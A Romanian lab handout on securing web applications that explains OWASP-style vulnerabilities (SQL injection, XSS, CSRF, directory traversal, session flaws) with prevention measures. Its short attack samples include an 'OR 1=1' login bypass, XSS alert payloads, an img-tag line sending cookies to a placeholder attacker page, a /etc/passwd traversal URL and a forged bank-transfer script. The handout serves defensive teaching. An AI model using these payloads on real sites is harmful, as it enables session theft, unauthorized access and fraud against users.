

Lucrare practică / Lucrare de laborator nr. 4

Tema: Securizarea Aplicațiilor Web

Introducere

Aplicațiile web au cunoscut o dezvoltare uluitoare de-a lungul ultimilor ani. Odată cu intrarea în era WEB 2.0 și dezvoltarea cloud computing-ului o mare parte din activitatea internaților s-a mutat în mediul web.

Dezvoltarea spectaculoasă a aplicațiilor web a fost posibilă datorită inovațiilor tehnologice în domeniu, specifice WEB 2.0, care au transformat simplele pagini web în care erau afișate informații statice, în pagini dinamice, interactive ce permit o interacțiune ridicată a utilizatorului cu aplicația.

Dezvoltarea uluitoare a web-ului a creat premisa apariției vulnerabilităților specifice oricărui produs tehnologic. Numărul acestora este în continuă creștere deși cele mai populare atacuri se bazează pe vulnerabilități identificate pentru prima dată acum câțiva ani buni.

Scopul acestui ghid este să facă o trecere în revistă a principalelor vulnerabilități specifice aplicațiilor web precum și modalitatea de detectare și tratare a acestora. Ghidul este destinat oricărei organizații publice sau private ce dorește securizarea aplicațiilor web proprii, respectiv a site-ului public.

Internetul abundă în numeroase surse de documentație pentru securizarea aplicațiilor web precum și de topuri ale celor mai populare tipuri de atacuri asupra serverelor web. Prezentul ghid are ca sursă de inspirație documentația disponibilă pe owasp.org precum și raportul Trustwave Global Security Report pe 2011.

Ghidul se va concentra pe următoarele tipuri de vulnerabilități specifice aplicațiilor web:

1. SQL Injection
2. Cross-site Scripting (XSS)
3. Verbose Errors
4. Logic Flaw
5. Authorization Bypass
6. Authentication Bypass
7. Vulnerable Third Party Software
8. Session Handling Flaw
9. Cross-site Request Forgery (CSRF)
10. Source Code Disclosure

Tehnicile prezentate sunt simpliste și au scopul de a atrage atenția asupra modului de funcționare al vulnerabilității. Atacurile reale sunt mult mai complexe.

1. SQL Injection

Majoritatea proiectelor web folosesc baze de date pentru a-și stoca datele. Limbajul SQL este un standard internațional ce stabilește regulile și sintaxa comenzilor ce pot fi transmise unui sistem de gestiune a bazelor de date (SGBD), pentru manipularea datelor stocate. Implementarea acestuia poate să difere de la caz la caz în funcție de producător. În prezent cele mai populare SGBD-uri sunt MySQL, PostgreSQL, Microsoft SQL Server și Oracle.

O vulnerabilitate de tip **SQL injection** (injecție cu cod sursă SQL) apare atunci când un atacator poate introduce orice date într-o interogare SQL transmisă unei baze de date sau când, prin injectarea sintaxei, logica declarației este modificată în asemenea fel încât să execute o acțiune diferită. Injecția SQL poate fi crucială pentru sistem dar, în ciuda pericolului pe care îl prezintă, este cea mai frecvent întâlnită vulnerabilitate.

EXEMPLU SQL INJECTION	
Funcția PHP ce interoghează BD	<pre><?php function autentificare(\$user, \$parola) { \$sql="SELECT * FROM users WHERE username='\$user' and parola ='\$parola'"; Return mysql_query(\$sql); } ?></pre>
Ce va introduce atacatorul în câmpul destinat numelui de utilizator	Eu' OR 1=1

Exemplul de mai sus vizează un formular de autentificare ce are în spate funcția PHP din tabel. Datorită faptului că datele de intrare, respectiv numele utilizatorului și parola nu sunt validate (adică să ne asigurăm ca atacatorul va introduce un nume valid de utilizator și nu alte date) atacatorul va putea insera cod SQL, în câmpul de user, astfel încât sensul interogării SQL se schimbă complet, permițând ocolirea mecanismului de autentificare.

Cea mai bună strategie de apărare împotriva injecțiilor SQL se bazează pe implementarea unor rutine puternice de validare a datelor de intrare, astfel încât atacatorul să nu poată introduce alte date decât cele necesare aplicației.

Între măsurile specifice care pot fi implementate la nivelul bazelor de date și aplicațiilor se regăsesc următoarele:

a) **Utilizarea de variabile bine definite și de definiții ale coloanelor din baza de date**
Stocarea și manipularea numerelor (ID-uri de sesiune, coduri etc.) ca și numere întregi sau ca alte tipuri numerice potrivite. String-urile (varchars) ar trebui să conțină doar caractere alfanumerice și să respingă semnele de punctuație și caracterele specifice sintaxei SQL.

b) **Atribuirea rezultatelor interogării unei variabile bine definite**

Dacă aplicația caută valori numerice, atunci atribuiți rezultatul unui număr întreg, acest lucru împiedicându-i pe atacatori să extragă informații din baza de date. De exemplu nu ar trebui să fie posibilă obținerea și afișarea numelui unei coloane, dacă variabila ce urmează să fie afișată în browser nu acceptă decât numere întregi. Această tehnică restricționează sever anumite atacuri.

c) **Limitarea lungimii datelor**

Toate șirurile de caractere ar trebui să se limiteze la o lungime potrivită scopului lor. Un nume de utilizator, de exemplu, nu este necesar să fie stocat și manipulat într-o variabilă care utilizează 256 de caractere. Limitarea numărului de caractere, care poate fi introdus într-un câmp, poate împiedica în mod eficient succesul unei injecții SQL, reducând lungimea șirului de caractere pe care atacatorul îl poate introduce în cod.

d) **Evitarea creării de interogări prin concatenarea de șiruri de caractere**

Creați o funcție view sau o procedură care operează asupra variabilelor furnizate de aplicație. Concatenarea șirurilor de caractere, unde interogarea este formată direct din datele furnizate de utilizatori (de genul: “œSELECT something FROM table WHERE”

+ variable a), este cea mai vulnerabilă la atacurile SQL Injection. Pe de altă parte, o funcție view sau o procedură particularizată, generează de obicei o eroare dacă primește date de intrare incorecte, însă nu îi va permite unui atacator să manipuleze întreaga interogare.

e) **Aplicarea separării datelor și accesul pe baza de rol în interiorul bazei de date**

Aplicația ar trebui să folosească un cont care are privilegii de acces doar pentru tabelele necesare respectivei funcții. Tabelele interne ale bazei de date, în special cele legate de managementul conturilor și variabilele sistemului, nu ar trebui să fie accesibile.

2. Cross-site Scripting (XSS)

XSS este o tehnică de atac, folosită pentru a forța o pagină web să afișeze un cod malițios (scris de obicei în HTML, JavaScript, ActiveX sau Flash), pe care îl execută ulterior în browser-ul unui utilizator. Acest tip de atac nu are ca țintă serverul siteului web, codul malware fiind executat direct în browser, deoarece adevărata țintă a atacului este utilizatorul.

Hackerul va folosi site-ul doar pentru a efectua atacul și odată ce are control asupra browser-ului utilizatorului, îl va putea folosi pentru a-i fura diferite date: conturi bancare, conturi de utilizator, parole, furtul înregistrărilor din istoricul browser-ului etc.

Sunt mai multe modalități prin care un malware scris în JavaScript poate deveni rezident pe o pagină web:

- Proprietarul paginii web îl poate încărca intenționat;
- Un atacator îl poate injecta în secțiunea publică a unui site profitând de anumite vulnerabilități ale acesteia (vulnerabilitate permanentă).
- Pagina web poate primi un deface folosind o vulnerabilitate a rețelei sau a straturilor sistemului de operare, iar parte din codul introdus să fie malware JavaScript:
- Victima poate accesa un link special pregătit (transmis prin mail sau alte metode) în spatele căruia se ascunde un XSS non-persistent sau bazat pe Document Object Model (DOM).

Un exemplu simplist, dar concludent asupra unui astfel de atac, este reprezentat mai jos:

[http://www.website.com/registration.php?idclient=<SCRIPT>alert\(document.cookie\)</SCRIPT>](http://www.website.com/registration.php?idclient=<SCRIPT>alert(document.cookie)</SCRIPT>)

Atacul de tip non-persistent: Dacă atacatorul dorește să atace prin XSS pagina <http://vulnerabil.com/>

- spre exemplu un site de comerț electronic, mai întâi trebuie să găsească o vulnerabilitate la XSS. În acest scop caută un parametru de unde utilizatorul poate trimite mesaje la server și la care primește mesaje înapoi (de obicei un câmp pentru căutare). Dacă introduce “test pentru xss” în câmpul de căutare, răspunsul va fi un nou url cu un șir de interogare care conține “test+pentu+xss” ca și valoare a parametrului p. Această valoare poate fi schimbată dacă introducem codul HTML/JavaScript: “<script>alert(‘XSS%20Test’). Ca și rezultat pagina va afișa o fereastră de dialog inofensivă (după instrucțiunea din cod) care este acum parte din pagină, demonstrând succesul codului care acum face parte din <http://vulnerabil.com/>. De aici URL-ul poate fi modificat să conțină atacuri XSS mai complexe (ex: furtul de cookie-uri).

Atacul bazat pe DOM: Atacul XSS bazat pe DOM este o formă unică de cross-site scripting (xss), foarte similară cu cel non-persistent, dar fără a fi nevoie să trimitem un mesaj și să așteptăm răspuns. Considerăm pagina de comerț electronic din exemplul anterior - <http://vulnerabil.com/> - având o caracteristică în plus pentru afișarea promoțiilor și interogările din URL-urile pentru afișarea produselor își trag datele direct din backend-ul bazei de date (ex: id_produs) pentru a le afișa utilizatorului.

Putem manipula URL-urile pentru a afișa mesaje diferite sau putem adauga malware la sfârșitul URL-ului în acest fel:

Din: http://vulnerabil/promo?product_id=100&title=Last+Chance!

În: [http://victim/promo?product_id=100&title=Foo#<script>alert\(‘XSS%20Testing’\)</script>](http://victim/promo?product_id=100&title=Foo#<script>alert(‘XSS%20Testing’)</script>)

În acest caz, JavaScript-ul de pe partea clientului are încredere suficientă în datele conținute de URL

și le afișează pe ecran. Ce face acest stil de atac XSS diferit este că nu se trimite codul malware la serverul web, ci fragmentul din URL nou adăugat îi spune browser-ului în ce punct al documentului curent să sară (rămâne în cadrul DOM, de aici și numele).

Atacul de tip persistent: Atacul XSS persistent sau injecția cu cod HTML nu necesită link-uri special pentru execuție, tot ce trebuie hackerul să facă este să adauge codul XSS într-o parte a paginii web care are potențial mare de a fi vizitată de către utilizatori (comentariile de pe bloguri, posturile de pe forumuri, chat-uri etc.). Odată ce utilizatorul vizitează pagina infectată, execuția este automată ceea ce face ca acest tip de atac să fie mult mai periculos decât primele două, deoarece nu există cale prin care utilizatorul se poate apăra și chiar și utilizatorii care știu despre această vulnerabilitate pot fi ușor compromiși.

Metode de prevenire a atacurilor de tip Cross-site scripting (XSS)

Codarea datelor de intrare și de ieșire au fiecare argumentele lor pozitive și negative. Partea pozitivă a codificării datelor de intrare oferă un singur punct de acces, în timp ce codarea datelor de ieșire oferă posibilitatea de a face față tuturor utilizărilor textului și poziționarea acestuia în pagina. Părțile negative sunt că nici codarea datelor de intrare nu poate opri un atac XSS persistent odată ce a fost stocat, iar codarea datelor de ieșire nu poate opri alte forme de atac, cum ar fi injecția cu cod SQL, deoarece intervine prea târziu.

Există un număr de soluții de a vă proteja în calitate de client. Niște idei simple sunt:

- alegerea unui browser securizat;
- folosirea unei mașini virtuale;
- accesarea doar a link-urilor cunoscute;
- grijă la ce informații divulgați despre conturile dumneavoastră etc.

a) Filtrarea

Filtrarea poate produce rezultate neașteptate dacă nu monitorizați atent datele de ieșire.

Folosirea unei bucle poate reduce riscurile asociate cu filtrarea de conținut. Doar filtrarea, fără folosirea altor metode, poate introduce noi riscuri prin crearea unor noi tipuri de atac, așadar, este important să înțelegeți în ce ordine trebuie aplicate filtrele și cum interacționează unul cu celălalt.

b) Codarea și validarea datelor de intrare

Această tehnică poate crea un singur punct de intrare a datelor pentru toate codările.

Vă poate proteja împotriva vulnerabilității XSS, dar și de injecții cu cod SQL și injecții de comandă, care pot fi verificate înainte de a stoca informații în baza de date. Nu poate opri atacurile persistente

de tip XSS odată stocate.

c) **Codarea datelor de ieșire**

Această tehnică este mai detaliată și poate lua în considerare și contextul. Este posibil ca dezvoltatorii să trebuiască să efectueze codarea de mai multe ori pentru aceeași locație unde este trimisă informația.

d) **Securitatea browser-ului web**

Evitați URL-urile prea lungi sau prea complexe, acestea sunt cel mai probabil să conțină vulnerabilități. Nu accesați URL-uri necunoscute primite prin e-mail, dacă este posibil.

Alegeți un browser sigur, actualizat la zi și personalizați-vă setările de securitate pentru a reduce riscul de atac.

3. **Mesaje de eroare prea detaliate (verbose error messages)**

Nu sunt un tip de atac în sine, însă mesajele de eroare cu scop informativ pot conține adresele complete și numele fișierelor, descrieri ale tabelelor SQL, erori ale bazei de date sau alte erori legate de aplicație și mediul în care rulează. Un formular tipic de autentificare îi cere utilizatorului să introducă două informații (nume de utilizator și parolă), alte aplicații cer mai multe informații (data nașterii, un cod PIN). Când un proces de autentificare dă greș, poți, în mod evident, să îți dai seama că una din informațiile introduse nu au fost corecte, însă uneori aplicația te anunță care din ele a fost greșită.

Acest lucru poate fi folosit pentru a diminua eficiența mecanismului de autentificare. În cel mai simplu caz, unde autentificarea cere nume de utilizator și parolă, aplicația poate răspunde la o autentificare nereușită prin identificarea motivului (nu a recunoscut numele de utilizator sau parola este greșită).

Atacul: Într-un asemenea caz, puteți folosi o metodă automată de atac, care să parcurgă o listă mare de nume comune de utilizatori pentru a afla care din ele sunt valide, deși în general numele utilizatorilor nu sunt considerate a fi secrete, identificarea lor îi dă atacatorului șanse mai mari de a compromite aplicația folosindu-se de timp, abilitate și efort. O listă de nume de utilizatori enumerați poate fi folosită ulterior pentru diverse metode de atac incluzând: ghicirea parolelor, atacuri asupra datelor utilizatorilor, sesiuni sau inginerie socială. În procesele de autentificare mai complexe, unde aplicația cere utilizatorului să introducă mai multe informații sau să treacă prin mai multe etape, mesajele de eroare verbose sau alți discriminatori pot ajuta un atacator să treacă prin fiecare etapă a autentificării, crescându-i șansele de a obține acces neautorizat.

Metode de prevenire a atacurilor bazate pe Verbose Errors

a) Utilizați validările pe partea clientului doar pentru performanță, nu și pentru securitate

Mecanismele de verificare a datelor introduse pe partea clientului previn erorile de introducere și de tipar nevinovate să ajungă la server, acest pas de anticipare a validării putând reduce solicitarea serverului, împiedicând datele introduse greșit în mod neintenționat să ajungă la acesta. Totuși atacatorul poate opri execuția scripturilor locale și poate avea acces la mesajele de eroare ale bazei de date.

b) Normalizați datele de intrare

Multe atacuri folosesc o multitudine de codări diferite bazate pe seturi de caractere și reprezentări hexadecimale. Datele de intrare ar trebui canonizate înainte de verificarea de securitate și validare, altfel o bucată de cod poate trece prin filtre și să fie decodată și descoperită ca fiind malițioasă doar mai târziu.

c) Aplicați validarea pe partea serverului

Toate datele de la browser pot fi modificate cu conținut arbitrar, așadar, validarea datelor introduse ar trebui făcută de server, unde evitarea funcțiilor de validare nu este posibilă.

d) Restrângeți tipurile de date care pot fi introduse

Aplicația nu ar trebui să conțină tipuri de date care nu îndeplinesc tipul de bază, formatul și lungimea cerute.

e) Utilizați codarea securizată a caracterelor și validarea datelor de ieșire

Caracterele utilizate în formatele HTML și SQL ar trebui codate în așa măsură încât să împiedice aplicația să le interpreteze greșit. Acest tip de validare a datelor de ieșire sau de reformatare a caracterelor reprezintă un nivel adițional de protejare împotriva atacurilor prin injectare HTML. Chiar dacă un cod malițios reușește să treacă de un filtru de intrare a datelor, efectele acestuia vor fi neglijate în momentul în care ajunge în faza de ieșire.

f) Utilizați white lists și black lists

Utilizați expresii obișnuite pentru a căuta dacă datele fac parte din conținut autorizat sau neautorizat - white lists conțin tiparele de date acceptate, iar black lists conțin tipare de date neacceptate sau malițioase.

g) Aveți grijă cu mesajele de eroare

Indiferent de limbajul folosit pentru a scrie aplicația, erorile ar trebui să urmărească conceptele de

încercare, descoperire, în final când vine vorba de tratarea excepțiilor. Încercați o acțiune, descoperiți excepțiile specifice care pot fi cauzate de acea acțiune; în final închideți aplicația dacă nimic altceva nu funcționează. De asemenea, creați un mesaj de eroare custom sau o pagină specială de erori, care nu dezvăluie nicio informație despre sistem.

h) Solicitați autentificare

În unele cazuri s-ar putea să fie necesar să configurați serverul, în așa măsură încât să fie solicitată autentificarea la nivelul de director pentru toate fișierele din interiorul aceluia director.

4. Eludarea restricțiilor de autentificare (authentication bypass)

Autentificarea dovedește, într-o oarecare măsură, identitatea unei persoane sau entități. De exemplu, toți folosim parole pentru a ne autentifica în conturile personale de e-mail. Paginile web folosesc certificate Secure Socket Layer (SSL) pentru a valida faptul că traficul provine într-adevăr de la domeniul solicitat de către site, acest lucru neasigurându-ne că site-ul este cel adevărat și nu o copie. Atacatorul are două opțiuni pentru a sparge un sistem de autentificare: utilizarea unei parole furate sau evitarea verificării autentificării. Pentru a identifica și monitoriza activitatea unui utilizator pe o pagina web, acestuia i se atribuie un token de sesiune unic, de obicei sub formă de cookie-uri. Odată autentificat, utilizatorul respectiv este identificat doar după cookie-ul de sesiune, deci dacă un atacator îl compromite, ghicindu-i valoarea sau furându-l, reușește să treacă cu succes de mecanismul de autentificare a paginii respective și să îi ia locul victimei. Cookie-urile de sesiune pot fi compromise prin mai multe metode:

a) Cross-site scripting (XSS): dacă atributul HttpOnly nu este setat JavaScript poate accesa obiectul document.cookie. Cea mai simplă formă de atac este de forma:

```
<img src = http://paginaatacatorului/ + escape (cookie-ul documentului)/>
```

Acest cod trimite numele cookie-ului unui site unde atacatorul poate vedea traficul venit din exterior.

b) Cross-site request forgery (CSRF): atacatorul exploatează indirect sesiunea unui utilizator, pentru asta victima trebuie să fie deja autentificată pe site-ul țintă. Atacatorul plasează o pagină capcană pe un alt site, iar când victima vizitează pagina infectată, browser-ul face în mod automat o cerere către pagina țintă folosind cookie-ul de sesiune al victimei.

c) SQL Injection: unele aplicații web stochează cookie-urile de sesiune într-o bază de date, în loc să le stocheze într-un sistem de fișiere sau spațiu de memorie al serverului web, iar dacă un atacator sparge baza de date poate fura cookie-urile de sesiune.

d) Network sniffing: HTTPS criptează traficul dintre browser și pagina web pentru a oferi confidențialitate și integritate comunicațiilor dintre ele, majoritatea formularelor de autentificare sunt trimise prin HTTPS, însă majoritatea aplicațiilor web folosesc HTTP pentru restul paginilor,

HTTPS protejează parola utilizatorului, în timp ce HTTP expune cookie-ul de sesiune în văzul tuturor, mai ales prin rețelele wireless din locurile publice (cafenele, aeroporturi, școli, etc.).

5. Eludarea restricțiilor de autorizare (authorization bypass)

Vulnerabilitățile ce țin de autorizare și acces pot apărea oriunde în aplicația web și se referă la ce se întâmplă atunci când un atacator are acces la o resursă la care în mod normal au acces doar utilizatorii autentificați sau care dețin anumite privilegii în acele aplicații.

Cele mai folosite tehnici pentru eludarea restricțiilor referitoare la autorizare:

- Traversarea de directoare (directory traversal);
- Evitarea unor mecanisme de autorizare; - Escaladarea privilegiilor.

Serverele restricționează utilizatorii care navighează pe un site la documentul rădăcină al acestuia, a cărui localizare depinde de sistemul de operare instalat pe server, și adițional în funcție de permisiunile de citire/scriere/execuție pe care le are utilizatorul respectiv asupra fișierelor de pe server.

Subminarea unui script de execuție pentru a traversa directoarele serverului și a citi fișiere protejate cum ar fi `/etc/passwd` este cunoscută ca atac cu traversare de directoare.

Cum aproape toate aplicațiile web folosesc roluri (ex: utilizator neautentificat / utilizator autentificat / administrator) care pot avea diferite nivele de acces, un atacator poate reuși să acceseze un privilegiu restricționat nivelului lui de acces și să evite mecanismul de autorizare, acest lucru se face de obicei prin schimbarea rolului într-unul superior.

Atacul

Avem sursa:

`http://www.exemplu.com/index.php?page=login.`

Un atac de tip traversare de directoare al cărui scop este de a afișa fișierul `/etc/passwd` poate fi realizat prin a schimba URL-ul în:

`http://www.exemplu.com/index.php?page=../../../../../../../../etc/passwd.`

Luați în considerare o cerere HTTP făcută unui administrator pentru a reseta parola unui utilizator:

Post / admin / resetPassword.jsp HTTP/1.1 Realizator: www.exemplu.com

[HTTP Headers]

utilizator = admin & newpassword = parolă

Dacă atacatorul poate face o cerere identică și aplicația web resetează parola unui cont de administrator, atacatorul evită mecanismul de autentificare, deoarece această funcție era gândită pentru a fi folosită doar de administratorii aplicației, într-un sens este o creștere a privilegiilor deoarece un non-administrator poate folosi funcția de resetare a parolelor și obține acces la contul de administrator cu noua parolă.

Metode de prevenire a atacurilor de tip Authorisation Bypass

Cele mai simple metode de protecție împotriva acestui tip de atac sunt validarea datelor introduse de utilizatori și urmărirea metodelor de proiectare sigură. Este important să fie identificată din timp orice parte a aplicației web care poate fi folosită într-un eventual atac informatic, acest lucru nereferindu-se doar la câmpurile în care utilizatorul poate introduce date, ci și la orice valoare pe care utilizatorul o poate modifica și trimite prin intermediul unui proxy, cum ar fi datele din cookie-uri, câmpurile ascunse etc.

Aceste date ar trebui validate corespunzător, înainte de a putea trece mai departe. Utilizați de asemenea principiul de a da cu atât mai puține privilegii utilizatorului, cu cât scad șansele de a putea duce la capăt un atac asupra aplicației web.

6. Vulnerabilități în managementul sesiunilor

Autentificarea și managementul sesiunilor includ toate aspectele ce țin de manipularea datelor de autentificare ale utilizatorului și managementul sesiunilor active ale acestuia. Autentificarea este un proces critic al acestui aspect, dar până și cel mai solid proces de autentificare poate fi subminat de erori ale funcțiilor pentru verificarea credențialelor, incluzând: schimbarea parolelor, funcția de recuperare a parolelor uitate, funcția de amintire a parolelor de către aplicația web, update-uri ale conturilor și alte funcții legate de acestea. Pentru a evita astfel de probleme, pentru orice fel de funcții legate de managementul conturilor, ar trebui să ceară reautentificarea utilizatorului, chiar dacă acesta are un id de sesiune valid.

Autentificarea utilizatorilor pe internet, de obicei, necesită un nume de utilizator și o parolă. Există metode mai bune de autentificare pe piață de tip hardware și software bazate pe token-uri criptate și biometrie, însă acestea nu sunt foarte răspândite datorită costurilor mari de achiziționare. O gamă largă de erori legate de conturi și managementul sesiunilor rezultă în urma compromiterii conturilor utilizatorilor sau celor de administrare a sistemului.

Echipele de dezvoltare, de cele mai multe ori, subestimează complexitatea necesară pentru a proiecta o metodă de autentificare și management al sesiunilor care să protejeze corespunzător credențialele în toate aspectele aplicației web. Paginile web au nevoie de sesiuni pentru a putea monitoriza valul de cereri venit de la fiecare utilizator în parte, iar, cum protocolul HTTP (stateless) nu poate face acest lucru, fiecare aplicație web trebuie să și-l facă singură. De cele mai multe ori, mediul aplicațiilor web oferă asemenea capabilități, însă mulți dezvoltatori preferă să-și creeze propriile token-uri de sesiune.

Dacă toate credențialele de autentificare și identicatorii de sesiune nu sunt protejate corespunzător (prin SSL), protejate împotriva divulgării și alte tipuri de erori, cum ar fi vulnerabilitatea la cross-

site scripting, un atacator poate fura sesiunea unui utilizator și să își asume identitatea acestuia. Toate serverele web, serverele de aplicații și mediile aplicațiilor web cunoscute sunt susceptibile la problemele legate de evitarea mecanismelor de autentificare și de management al sesiunilor. Acest gen de vulnerabilitate se bazează mult pe eroare umană și tehnologii care nu îndeplinesc standardele de securitate necesare.

Metode de prevenire a vulnerabilităților legate de managementul sesiunilor

a) Complexitatea parolelor

Parolele ar trebui să aibă restricții care cer un număr minim de caractere și de complexitate; de asemenea ar trebui să li se ceară utilizatorilor să își schimbe periodic parola și să le fie interzis să refolosească o parolă veche.

b) Utilizarea de parole

Utilizatorilor ar trebui să le fie limitat numărul de logări pe care le pot încerca într-o anumită unitate de timp iar tentativele eșuate de autentificare ar trebui logate, însă parolele introduse nu ar trebui înregistrate, deoarece acest lucru poate expune parola utilizatorului oricui reușește să obțină accesul la loguri.

De asemenea, sistemul nu trebuie să indice motivul pentru care procesul de autentificare nu a reușit, iar utilizatorul să fie informat cu privire la data ultimei autentificări reușite și numărul de autentificări nereușite de atunci.

c) Comenzile de schimbare a parolelor

Ar trebui folosit un singur mecanism de schimbare a parolelor indiferent de circumstanțele în care acest lucru se întâmplă. Utilizatorul trebuie să scrie întotdeauna vechea parolă și noua parolă de fiecare dată. Dacă parolele uitate sunt trimise utilizatorului prin e-mail, sistemul ar trebui să-i ceară utilizatorului să se reautentifice atunci când își schimbă adresa de e-mail, altfel un atacator care are acces la token-ul de sesiune temporar al utilizatorului, poate pur și simplu să schimbe adresa la care să fie trimisă parola uitată.

d) Stocarea parolelor

Toate parolele trebuie criptate sau sub formă de hash-uri indiferent de locul unde sunt stocate.

e) Protejarea ID-ului de sesiune

În mod ideal, întreaga sesiune a utilizatorului ar trebui protejată prin SSL (în acest mod cookie-ul de sesiune nu ar putea fi furat).

f) Liste de conturi

Sistemele ar trebui proiectate în așa fel încât să nu permită accesul utilizatorilor la lista de conturi înregistrate pe site. Dacă este imperativ să fie prezentată o listă de acest gen se recomandă folosirea pseudonimelor în locul numelor reale. În acest fel, pseudonimul nu poate fi folosit pentru logare în

cont în timpul unei încercări de autentificare a unui atacator pe site.

g) **Relaționări bazate pe încredere**

Arhitectura paginii dumneavoastră ar trebui să evite relațiile implicite de încredere între componente ori de câte ori este posibil acest lucru. Fiecare componentă în parte ar trebui să se autentifice față de o alta cu care interacționează.

7. **Cross-site Request Forgery (CSRF)**

Cross-site Request Forgery (CSRF sau XSRF) este o formă de atac asupra aplicațiilor web care se folosește de relațiile de încredere existente între aplicațiile web și utilizatorii autentificați prin a forța acei utilizatori să facă tranzacții sensibile în numele atacatorului. Această vulnerabilitate, deși mai puțin cunoscută ca XSS, este mult mai periculoasă decât cross-site scripting, deoarece își are rădăcinile în naturalipsită de stare (stateless) ale specificațiilor HTTP-ului, care cer ca un token de autentificare să fie trimis cu fiecare cerere a utilizatorului.

În mod obișnuit, vulnerabilitățile web apar ca urmare a unor greșeli făcute de dezvoltatorii paginilor web în timpul proiectării și dezvoltării acestora sau de către administratori, în timpul utilizării acestora. Spre deosebire de restul, vulnerabilitățile de tip XSRF apar atunci când dezvoltatorii omit un mecanism de prevenire a XSRF din aplicația lor.

Atacul. Un exemplu clasic este cel al unei aplicații bancare care le permite utilizatorilor să transfere fonduri dintr-un cont în altul folosind o cerere simplă GET prin HTTP. Presupunem că aplicația folosește următoarea modalitate de a transfera fondurile:

<http://xsrf.bancavulnerabila.com/transferFonduri.aspx?Incontul=12345&fonduri=1000.00&valuta=euro>

Continuând cu exemplul de mai sus, presupunem că un atacator creează o pagina HTML malițioasă pe un sistem care se află sub controlul lui și care conține următorul cod JavaScript:

```
<script type="text/javascript">
```

```
Var i=document.createElement("img");
```

```
i.src="http://xsrf.bancavulnerabila.com/transferFonduri.aspx?Incontul=ATACATOR&fonduri=1000.00&valuta=euro";
```

```
</script>
```

Efectul acestui cod este de a crea un tag de imagine dinamic în HTML și să seteze sursa ca fiind cea a transferului de fonduri din aplicația vulnerabilă a băncii. Browser- ele clienților autentificați pe pagina băncii respective, care accesează pagina atacatorului, o să execute codul JavaScript al acestuia și o să creeze în fundal o cerere HTTP GET legată la sursă imaginii dinamice iar acțiunea va fi executată ca și cum utilizatorul ar fi făcut-o în mod voluntar.

Metode de prevenire a vulnerabilităților de tip Cross-site Request Forgery

a) **Cookie-uri postate de două ori**

Această metodă de apărare constă în introducerea unui câmp de introducere a datelor secrete care să conțină valoarea actuală a ID-ului de sesiune a utilizatorului sau o altă valoare securizată generată aleator într-un cookie al clientului pentru orice formular folosit la transmiterea datelor sensibile. Când formularul este postat, serverul aplicației va verifica dacă valoarea cookie-ului din formular coincide cu cea din antetul HTTP al cererii, în caz contrar cererea va fi ignorată ca și invalidă și va fi înregistrată în fișierele log ca potențial atac. Această metodă se bazează pe faptul că atacatorul nu știe valoarea cookie-ului de sesiune al utilizatorului, însă dacă prin altă metodă acesta reușește să afle valoarea, această strategie de apărare nu va avea succes.

b) **Nonce unic pentru formular**

Este probabil cea mai folosită metodă de apărare împotriva CSRF și constă în construirea fiecărui formular folosind un câmp ascuns care conține un nonce (number used once) obținut folosind un generator pseudo-aleator de numere securizate prin criptare, pentru a nu fi vulnerabil la atac. Când serverul aplicației primește valorile parametrilor formularului ca făcând parte dintr-o cerere HTTP POST, va compara valoarea nonce-ului cu valoarea stocată în memorie și va ignora cererea dacă valorile acestora diferă sau dacă valoarea nonce-ului a expirat.

c) **Cererea credențialelor de autentificare**

Această metodă le cere utilizatorilor autentificați să reintroducă parola corespunzătoare sesiunii în care sunt autentificați ori de câte ori fac o tranzacție sensibilă. Această strategie este des întâlnită în aplicațiile web în cadrul cărora tranzacțiile de o natură sensibilă se întâmplă rar (cel mai adesea fiind schimbări ale informațiilor de pe profilul utilizatorului).

8. **Diseminarea codului sursă**

Divulgarea codului sursă este o eroare de codare, foarte des întâlnită, în aplicațiile web, care pot fi exploatare de către un atacator pentru a obține codul sursă și configurarea fișierelor prin intermediul HTTP, acest lucru oferindu-i atacatorului o înțelegere mai profundă a logicii aplicației web.

Multe pagini web oferă utilizatorilor fișiere pentru download folosind pagini dinamice specializate. Când browser-ul cere pagina dinamică, mai întâi serverul execută fișierul și apoi returnează rezultatul în browser, deci paginile dinamice sunt, de fapt, coduri executate pe serverul web. Dacă această pagină nu este codată suficient de securizat, un atacator o poate exploata pentru a descărca codul sursă și chiar fișierele de configurare.

Folosind un atac de tip divulgarea codului sursă, atacatorul poate obține codurile sursă pentru

aplicațiile de pe server, cum ar fi: ASP, PHP și JSP. Obținerea codului sursă al aplicațiilor de pe server îi oferă atacatorului o imagine mai bună asupra logicii aplicației, modul în care aplicația gestionează cererile și parametrii lor, structura bazei de date, vulnerabilitățile codului și comentariile introduse în el. Odată ce are codul sursă și posibil un duplicat al aplicației pe care să poată face teste, atacatorul se poate pregăti pentru un atac asupra aplicației.

Atacul: Poate fi făcut prin mai multe metode:

- Folosind vulnerabilități cu divulgare a codului sursă cunoscute;
- Exploatarea unei vulnerabilități din aplicație care s-ar putea să permită divulgarea codului sursă;
- Exploatarea erorilor detaliate care uneori pot include codul sursă;
- Utilizând alte tipuri de vulnerabilități cunoscute care se pot dovedi utile pentru divulgarea codului sursă (cum ar fi traversarea directoarelor).

Metode de prevenire a atacurilor de tip Source Code Disclosure

- a) Verificați folderul de unde este cerut fișierul care urmează să fie descărcat (mențineți un white list cu numere directoarelor de unde este permisă download-area fișierelor și validați cererile pe bază acestuia).
- b) Verificați tipul de fișiere care sunt cerute de utilizatori.
- c) Indexați fișierele care pot fi descărcate și afișați doar numărul lor din index ca și parametru al URL-ului.

9. Erori logice

Toate aplicațiile web folosesc logica pentru a avea funcționalitate. A scrie cod într-un limbaj de programare, nu înseamnă nimic altceva decât descompunerea unui proces complex în pași mici și simpli, pentru a aduce ceea ce este pe înțelesul oamenilor la nivelul la care poate fi executat de către computer.

Atunci când un număr mare de programatori și designeri diferiți lucrează în paralel la aceeași aplicație, există șanse foarte mari să apară erori. Până și pentru dezvoltarea celor mai simple aplicații web este nevoie o cantitate mare de logică pentru fiecare etapă. Această logică prezintă oportunitatea pentru erori logice, iar erorile logice oferă o bază foarte mare și variată de atac, însă de multe ori sunt trecute cu vederea deoarece rareori pot fi scanate cu programe specializate în identificarea vulnerabilităților, nu au o semnătură specializată ca și vulnerabilitățile de tip SQL injection sau cross-site scripting și sunt mai greu de recunoscut și caracterizat.

Erorile logice apar atunci când programatorul sau dezvoltatorul aplicației web nu se gândește la toate efectele pe care le poate avea codul asupra aplicației, luând în considerare numai un anumit efect (cel

pe care el intenționează să-l implementeze în primul rând) și omițând alte efecte posibile (secundare). Deoarece, în general, sunt mai greu de înțeles și nu sunt apreciate ca și vulnerabilități atât de grave, erorile logice prezintă un interes foarte mare pentru atacatori.

